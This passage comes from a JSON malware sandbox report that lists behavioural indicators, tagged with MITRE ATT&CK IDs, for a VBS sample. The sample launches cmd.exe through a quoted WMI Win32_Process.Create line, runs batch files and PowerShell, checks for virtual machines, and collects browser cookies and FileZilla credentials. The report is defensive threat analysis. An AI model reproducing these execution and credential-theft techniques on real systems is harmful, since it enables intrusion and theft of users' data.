Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT * FROM win32_operatingsystem\" (Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, Indicator: \"select * from win32_operatingsystem\")\n \"SELECT * FROM Win32_VideoController\" (Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, Indicator: \"select * from win32_videocontroller\")\n \"SELECT * FROM Win32_Processor\" (Source: 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, Indicator: \"select * from win32_processor\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"PaddockZone.CloseGetObject(\"winmgmts:\").Get(\"Win32_Process\").Create \"cmd.exe /c \" & TomatoStructure, Null, Null, Null\" (Indicator: \"cmd.exe /c\"; File: \"Form_1759970159.vbs\")\n Found string \"GetObject(\"winmgmts:\").Get(\"Win32_Process\").Create \"cmd.exe /c \" & TomatoStructure, Null, Null, Null\" (Indicator: \"cmd.exe /c\"; File: \"Form_1759970159.vbs\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005280.00000001.260141.16FB3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"-] CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")\n Found reference to API \"tCreateThreadEx\" (Indicator: \"CreateThread\"; Source: \"00000000-00005280.00000001.260141.BF910000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"powershell.exe\" with parameter %TEMP%\\5801ecc3ac68f7ef104796fdde53a902 (UID: 00000000-00005280)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3b","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\FieldBuilding.bat\" (UID: 00000000-00000524)\n Process \"cmd.exe\" with commandline \"cmd /c start \"\" /min \"%PUBLIC%\\\\FieldBuilding.bat\"\" (UID: 00000000-00008436)\n Process \"cmd.exe\" with commandline \"/K \"%PUBLIC%\\\\FieldBuilding.bat\"\" (UID: 00000000-00003800)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134047138985738111.5280.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\1l2awVdx40yoC0jbcU6iLoVmsFBN1eKDD2OzUpU3KjElobpUCc7PS2ejrXukdFr89E65GR6LSB6y8lwC37rirwSoW63NZmoGmqi1A3jWbROfZeLmtUh3Iw\n Found string - \\.\\pipe\\1l2awVdx40yoC0jbcU6iLoVmsFBN1eKDD2OzUpU3KjElobpUCc7PS2ejrXukdFr89E65GR6LSB6y8lwC37rirwSoW63NZmoGmqi1A3jWbROfZeLmtUh3Iw","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3d","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at F9B20000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 17960000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 17960000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 25580000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 25580000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 24570000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at FC950000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 26E30000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 26E30000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 26E30000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000020422025fe7f0000@ntdll.dll\"\n \"220023000000000040422025fe7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Form_1759970159.vbs\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"Test-Path\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"New-Object\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3f","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$40","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$41","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"icanhazip.com\"\n \"mail.clarsachsociety.co.uk\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$43","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$44","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=R12, O=Let's Encrypt, C=US\" (SHA1: 3C:DE:2D:55:79:A3:EC:8F:F1:C0:AA:CE:AF:D2:A8:6D:68:9E:CC:0A; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: EE:44:78:28:35:D8:FB:31:39:4D:A5:CE:B8:40:DC:93:84:9B:CF:5A; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_k1fbvpen.52z.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_fya3b455.tt3.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_x4vqxuu2.sy5.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_1f3jov3m.icd.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\5801ecc3ac68f7ef104796fdde53a902\\Chromium_cookies_PREGjB55ZdRvb6m_2025-10-11_20.43.41.json\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\5801ecc3ac68f7ef104796fdde53a902\\Gecko_cookies_PREGjB55ZdRvb6m_2025-10-11_20.46.20.json\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\5801ecc3ac68f7ef104796fdde53a902\\FileZilla_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$45","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Add-Type\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$46","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$47","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 5700)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\form_1759970159.vbs\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\scrrun.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Contains ability to detect virtual environment\n Matched sigs: Attempts to identify external IP address","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$49","origin":"API 